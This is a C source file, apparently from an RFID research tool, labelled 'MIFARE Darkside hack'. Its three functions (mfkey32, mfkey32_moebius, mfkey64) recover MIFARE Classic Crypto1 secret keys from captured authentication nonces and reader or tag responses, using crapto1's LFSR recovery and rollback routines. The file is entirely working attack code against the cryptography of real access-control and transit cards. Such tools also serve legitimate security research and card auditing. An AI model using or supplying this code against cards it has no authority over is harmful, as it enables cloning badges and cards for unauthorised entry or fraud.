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97 lines
3 KiB
C
97 lines
3 KiB
C
//-----------------------------------------------------------------------------
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// Merlok - June 2011
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// Roel - Dec 2009
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// Unknown author
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//
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// This code is licensed to you under the terms of the GNU GPL, version 2 or,
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// at your option, any later version. See the LICENSE.txt file for the text of
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// the license.
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//-----------------------------------------------------------------------------
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// MIFARE Darkside hack
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//-----------------------------------------------------------------------------
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#include "mfkey.h"
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#include "crapto1/crapto1.h"
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// recover key from 2 different reader responses on same tag challenge
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bool mfkey32(nonces_t data, uint64_t *outputkey) {
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struct Crypto1State *s,*t;
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uint64_t outkey = 0;
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uint64_t key = 0; // recovered key
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bool isSuccess = false;
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uint8_t counter = 0;
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s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
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for(t = s; t->odd | t->even; ++t) {
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lfsr_rollback_word(t, 0, 0);
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lfsr_rollback_word(t, data.nr, 1);
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lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
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crypto1_get_lfsr(t, &key);
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crypto1_word(t, data.cuid ^ data.nonce, 0);
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crypto1_word(t, data.nr2, 1);
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if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce, 64))) {
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outkey = key;
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counter++;
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if (counter == 20) break;
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}
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}
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isSuccess = (counter == 1);
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*outputkey = ( isSuccess ) ? outkey : 0;
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crypto1_destroy(s);
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return isSuccess;
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}
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// recover key from 2 reader responses on 2 different tag challenges
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bool mfkey32_moebius(nonces_t data, uint64_t *outputkey) {
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struct Crypto1State *s, *t;
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uint64_t outkey = 0;
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uint64_t key = 0; // recovered key
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bool isSuccess = false;
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int counter = 0;
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s = lfsr_recovery32(data.ar ^ prng_successor(data.nonce, 64), 0);
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for(t = s; t->odd | t->even; ++t) {
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lfsr_rollback_word(t, 0, 0);
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lfsr_rollback_word(t, data.nr, 1);
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lfsr_rollback_word(t, data.cuid ^ data.nonce, 0);
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crypto1_get_lfsr(t, &key);
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crypto1_word(t, data.cuid ^ data.nonce2, 0);
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crypto1_word(t, data.nr2, 1);
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if (data.ar2 == (crypto1_word(t, 0, 0) ^ prng_successor(data.nonce2, 64))) {
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outkey=key;
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++counter;
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if (counter==20)
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break;
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}
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}
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isSuccess = (counter == 1);
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*outputkey = ( isSuccess ) ? outkey : 0;
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crypto1_destroy(s);
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return isSuccess;
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}
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// recover key from reader response and tag response of one authentication sequence
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int mfkey64(nonces_t data, uint64_t *outputkey){
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uint64_t key = 0; // recovered key
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uint32_t ks2; // keystream used to encrypt reader response
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uint32_t ks3; // keystream used to encrypt tag response
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struct Crypto1State *revstate;
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// Extract the keystream from the messages
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ks2 = data.ar ^ prng_successor(data.nonce, 64);
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ks3 = data.at ^ prng_successor(data.nonce, 96);
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revstate = lfsr_recovery64(ks2, ks3);
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lfsr_rollback_word(revstate, 0, 0);
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lfsr_rollback_word(revstate, 0, 0);
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lfsr_rollback_word(revstate, data.nr, 1);
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lfsr_rollback_word(revstate, data.cuid ^ data.nonce, 0);
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crypto1_get_lfsr(revstate, &key);
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crypto1_destroy(revstate);
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*outputkey = key;
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return 0;
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}
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